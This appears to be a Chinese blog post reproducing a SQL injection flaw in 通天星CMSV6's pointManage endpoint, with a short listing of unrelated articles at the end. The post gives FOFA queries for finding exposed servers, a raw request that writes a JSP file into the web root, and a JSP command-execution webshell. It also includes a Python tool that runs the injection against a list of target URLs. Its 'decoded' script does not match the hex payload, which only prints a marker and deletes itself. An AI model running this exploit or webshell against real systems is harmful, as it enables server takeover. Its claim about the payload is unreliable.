【漏洞复现】通天星CMSV6——sql注入漏洞

news2024/11/20 22:16:06

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

通天星CMSV6小于7.33.0.7版本存在接口pointManage存在注入漏洞,攻击者可写入恶意文件从而获取系统控制权。

漏洞复现

1)fofa搜索:
body="/808gps/"
icon_hash="1784259556"
在这里插入图片描述
随机选择一个小可爱访问一下
在这里插入图片描述
2)开启burp抓包
在这里插入图片描述
构造数据包:

POST /point_manage/merge HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.2882.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Host: xxx.xxx.xxx
Content-Length: 440

id=1&name=1' UNION SELECT%0aNULL, 0x3c25206f75742e7072696e7428227a7a3031306622293b206e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b20253e,NULL,NULL,NULL,NULL,NULL,NULL
INTO dumpfile '../../tomcat/webapps/gpsweb/allgods.jsp' FROM user_session a
WHERE '1 '='1 &type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8

解释:
通过构造恶意的SQL语句,将一个恶意的JSP文件上传到服务器的/tomcat/webapps/gpsweb/目录下,文件名为allgods.jsp。如果成功,攻击者可以通过访问这个JSP文件来执行远程代码。

JSP文件解释:
十六进制编码字符串:

0x3c25206f75742e7072696e7428227a7a3031306622293b206e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b20253e

解码后的JSP脚本:

<%out.print("zz010f");%><%@ page import="java.io.*" %>
<% 
   String shellPath = "C:/Program Files (x86)/Tomcat/webapps/gpsweb/allgods.jsp";
   String cmd = request.getParameter("cmd");
   Process process = Runtime.getRuntime().exec(cmd);
   InputStream is = process.getInputStream();
   OutputStream os = response.getOutputStream();
   int c;
   while ((c = is.read()) != -1) {
       os.write(c);
   }
   os.flush();
   os.close();
%>

代码说明:

  • <%out.print("zz010f");%> 这行代码会输出一个特定的字符串"zz010f",用于验证是否成功执行了JSP脚本。
  • <%@ page import="java.io.*" %> 这行代码导入了Java I/O相关的类。
  • <% ... %> 之间的代码块是JSP脚本的主体,它定义了一个shell路径,获取了一个名为cmd的请求参数,并执行了这个命令。然后,它将命令的输出重定向到HTTP响应中。

3)访问/allgods.jsp存在zz010f,sql注入成功写入文件
在这里插入图片描述

测试工具

# 导入requests库用于发送网络请求
import requests
# 导入random库用于生成随机字符串
import random
# 导入string库用于访问字符串常量,如字母数字等
import string
# 导入argparse库用于解析命令行参数
import argparse
# 从urllib3库中导入InsecureRequestWarning,用于忽略不安全的请求警告
from urllib3.exceptions import InsecureRequestWarning

# 定义红色和重置颜色的终端输出代码
RED = '\033[91m'
RESET = '\033[0m'

# 忽略requests库发出的不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 定义函数rand_base,用于生成指定长度的随机字符串
def rand_base(n):
    """生成长度为n的随机字符串,由小写字母和数字组成。"""
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

# 定义函数check_vulnerability,用于检查指定URL的SQL注入漏洞
def check_vulnerability(url):
    """检测URL是否存在通天星CMSV6 pointManage SQL注入可写入文件RCE漏洞。"""
    # 生成随机的6位字符串作为JSP文件名
    filename = rand_base(6)
    
    # 构造上传恶意JSP文件的URL和请求头
    upload_url = url.rstrip('/') + '/point_manage/merge'
    upload_headers = {
        'User-Agent': 'Mozilla/5.0 ... Chrome/94.0.2882.93 Safari/537.36',  # 用户代理
        'Content-Type': 'application/x-www-form-urlencoded'  # 内容类型
    }
    
    # 构造SQL注入数据,尝试写入JSP文件
    upload_data = (
        # 这里构造了一串SQL注入语句,尝试利用SQL注入漏洞写入JSP文件
        # 包含恶意的JSP代码,用于执行远程代码执行(RCE)
        f"id=1&name=1' UNION SELECT%0aNULL, 0x3c25206f75742e7072696e7428227a7a3031306622293b206e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b20253e,NULL,NULL,NULL,NULL,NULL,NULL"
        f" INTO dumpfile '../../tomcat/webapps/gpsweb/{filename}.jsp' FROM user_session a"
        " WHERE '1'='1&type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8"
    )
    
    try:
        # 发送POST请求,尝试上传恶意JSP文件
        response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data.encode('utf-8'), verify=False, timeout=30)
        
        # 构造访问JSP文件的URL和请求头
        access_url = url.rstrip('/') + f'/{filename}.jsp'
        access_headers = {
            'User-Agent': 'Mozilla/5.0 ... Chrome/94.0.2882.93 Safari/537.36'  # 用户代理
        }
        
        # 发送GET请求,访问上传的JSP文件
        response_access = requests.get(access_url, headers=access_headers, verify=False, timeout=30)
        
        # 根据响应状态码和响应体判断是否存在漏洞
        if response_upload.status_code == 200 and response_access.status_code == 200 and "zz010f" in response_access.text:
            print(f"{RED}URL [{url}] 存在通天星CMSV6 pointManage SQL注入可写入文件RCE漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:
        # 如果请求超时,可能存在漏洞
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:
        # 打印其他请求异常信息
        print(f"URL [{url}] 请求失败: {e}")

# 定义main函数,用于解析命令行参数并调用check_vulnerability函数
def main():
    """解析命令行参数,根据参数执行漏洞检测。"""
    # 解析命令行参数
    parser = argparse.ArgumentParser(description='检测目标地址是否存在通天星CMSV6 pointManage SQL注入可写入文件RCE漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
    
    # 解析参数
    args = parser.parse_args()
    
    # 如果指定了URL参数,则检测该URL
    if args.url:
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    # 如果指定了文件参数,则从文件中读取URL列表进行检测
    elif args.file:
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

# 程序入口
if __name__ == '__main__':
    main()

运行过程:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1863166.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023年SWPU NSS 秋季招新赛 (校外赛道)-没做出来的writeup

web 学习一下&#xff1a;[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup-CSDN博客 查查need 看这个大佬的手工注入&#xff0c;nb呀 文章列表 | NSSCTF 其实也是可以使用sqlmap一把梭哈&#xff01; 看了教程&#xff1a;SQLmap使用教程图文教程&#xff08;非常详细…

H2RSVLM:引领遥感视觉语言模型的革命

随着人工智能技术的飞速发展&#xff0c;遥感图像理解在环境监测、气候变化、粮食安全和灾害预警等多个领域扮演着越来越重要的角色。然而&#xff0c;现有的通用视觉语言模型&#xff08;VLMs&#xff09;在处理遥感图像时仍面临挑战&#xff0c;主要因为遥感图像的独特性和当…

优选算法2

五、位运算 常见位运算总结 &&#xff1a;有0就是0&#xff1b; |&#xff1a;有1就是1 ^&#xff1a;相同为0&#xff0c;相异就是1/无进位相加 给定一个数n,确定它的二进制表示中的第x位是0还是1&#xff1a;二进制中权值最小的是第0位&#xff0c;所以int整型是从第0位到…

Android app Java层异常捕获方案

背景&#xff1a; 在Android app运行中&#xff0c;有时一些无关紧要的异常出现时希望App 不崩溃&#xff0c;能继续让用户操作&#xff0c;可以有效提升用户体验和增加业务价值。 新流程&#xff1a; 哪些场景需要Catch Crash Config配置信息&#xff1a; 支持从网络上获…

MySQL 5.7.42 主从复制环境搭建

MySQL 5.7.42 主从复制环境搭建 下载MySQL二进制包操作系统环境配置安装过程搭建从库 本次安装环境&#xff1a; OS版本&#xff1a;Red Hat Enterprise Linux Server release 6.8 (Santiago) MySQL版本&#xff1a;5.7.42 架构&#xff1a;同一台机器&#xff0c;多实例安装搭…

国标GB28181视频汇聚平台EasyCVR安防监控系统常见播放问题分析及解决方法

国标GB28181安防综合管理系统EasyCVR视频汇聚平台能在复杂的网络环境中&#xff0c;将前端设备统一集中接入与汇聚管理。平台支持多协议接入&#xff0c;包括&#xff1a;国标GB/T 28181协议、GA/T 1400协议、RTMP、RTSP/Onvif协议、海康Ehome、海康SDK、大华SDK、华为SDK、宇视…

【工具测评】ONLYOFFICE8.1版本桌面编辑器测评:好用!

随着远程工作的普及和数字化办公的发展&#xff0c;越来越多的人开始寻找功能强大、易于使用的办公软件。在这个背景下&#xff0c;ONLYOFFICE 8.1应运而生&#xff0c;成为许多用户的新选择。ONLYOFFICE 8.1是一款办公套件软件&#xff0c;提供文档处理、电子表格和幻灯片制作…

【node】深入探讨 class URL

【node】深入探讨 class URL &#x1f4cc; 浅说 fileURLToPath() 在vite.config.ts中有这么一段代码&#xff1a; import { fileURLToPath, URL } from node:url import { defineConfig } from vite export default defineConfig({resolve: {alias: {: fileURLToPath(new U…

python学习笔记四

1.自己平方本身 x2 x**4#xx**4 print(x) 2.把一个多位数拆分成单个数&#xff0c;方法一通过字符串下标获取对应元素&#xff0c;并对获取的元素使用eval函数把左右引号去掉&#xff0c;是字符串变为整型&#xff1b;方法二&#xff0c;通过对数进行取余和整除得到各个位的数 …

RK3568平台开发系列讲解(I2C篇)利用逻辑分析仪进行I2C总线的全面分析

🚀返回专栏总目录 文章目录 1. 基础协议1.1. 协议简介1.2. 物理信号1.3. 总线连接沉淀、分享、成长,让自己和他人都能有所收获!😄 1. 基础协议 1.1. 协议简介 IIC-BUS(Inter-IntegratedCircuit Bus)最早是由PHilip半导体(现在被NXP收购)于1982年开发。 主要是用来方…

安卓应用开发学习:获取导航卫星信息

一、引言 我昨天写了《安卓应用开发学习&#xff1a;获取经纬度及地理位置描述信息》日志&#xff0c;今天再接再厉&#xff0c;记录一下跟着《Android App 开发进阶与项目实战》一书&#xff0c;实现获取导航卫星信息&#xff0c;并在手机上显示的功能的情况。先上实现后的在…

go语言day2 配置

使用cmd 中的 go install &#xff1b; go build 命令出现 go cannot find main module 错误怎么解决&#xff1f; go学习-问题记录(开发环境)go: cannot find main module&#xff1b; see ‘go help modules‘_go: no flags specified (see go help mod edit)-CSDN博客 在本…

FPGA学习笔记(6)——硬件调试与网表添加探针

对信号进行分析&#xff0c;除了使用内置的ILA IP核&#xff0c;还可以在网表中添加探针。 本节采用之前配置的LED灯闪烁代码&#xff0c;对原始工程进行修改。 如果是新建工程&#xff0c;需要现将代码进行综合Synthesis&#xff0c;然后再进行接下来的操作。 1、点击Open S…

链表数组遍历输出的辨析(二者都含指针的情况下)----PTA期末复习题

输入输出三位学生的学号和信息 一开始我认为是指针&#xff0c;直接背了指针输出的方式&#xff1b;p;p!NULL;pp->next 这个是错误的 下面这个输出是正确的方式 分析怎么区分这两个 举个例子来 数组遍历&#xff1a; 链表遍历&#xff1a; 输出的结果&#xff1a; 如果将…

浏览器扩展V3开发系列之 chrome.cookies 的用法和案例

【作者主页】&#xff1a;小鱼神1024 【擅长领域】&#xff1a;JS逆向、小程序逆向、AST还原、验证码突防、Python开发、浏览器插件开发、React前端开发、NestJS后端开发等等 chrome.cookies API能够让我们在扩展程序中去操作浏览器的cookies。 在使用 chrome.cookies 要先声明…

【Redis】Zset有序集合常用命令以及使用场景

Redis 的有序集合&#xff08;Sorted Set&#xff0c;简称 Zset&#xff09;是一个非常强大的数据结构&#xff0c;它结合了集合&#xff08;Set&#xff09;的唯一性和列表&#xff08;List&#xff09;的有序性。每个元素都关联一个评分&#xff08;score&#xff09;&#x…

减少液氮罐内液氮损耗的方法

监测与管理液氮容器的密封性能 液氮容器的密封性能直接影响液氮的损耗情况。一个常见的损耗源是容器本身的密封不良或老化导致的泄漏。为了有效减少液氮损耗&#xff0c;首先应当定期检查液氮容器的密封性能。这可以通过简单的方法如肉眼检查外观&#xff0c;或者更精确的方法…

SEO与AI的结合:如何用ChatGPT生成符合搜索引擎优化的内容

在当今数字时代&#xff0c;搜索引擎优化&#xff08;SEO&#xff09;已成为每个网站和内容创作者都必须掌握的一项技能。SEO的主要目标是通过优化内容&#xff0c;使其在搜索引擎结果页面&#xff08;SERP&#xff09;中排名更高&#xff0c;从而吸引更多的流量。然而&#xf…

嵌入式学习——硬件(ARM体系架构)——day51

1. S3C2440基础知识——一条指令四个字节 1.1 定义 S3C2440 是三星&#xff08;Samsung&#xff09;公司设计的一款基于 ARM920T 核心的微处理器&#xff0c;广泛应用于嵌入式系统中&#xff0c;属于三星的 S3C24xx 系列。 1.2 处理器核心 ARM920T&#xff1a;基于 ARM v5T …

[C#][opencvsharp]C#使用opencvsharp进行年龄和性别预测支持视频图片检测

使用 OpenCVSharp 来调用 age_net.caffemodel 和 gender_net.caffemodel 来进行性别和年龄预测涉及几个步骤。以下是一个简化的流程和示例文案&#xff1a; 1. 准备工作 确保你已经安装了 OpenCVSharp 和相关的依赖项。确保你有 age_net.prototxt、age_net.caffemodel、gende…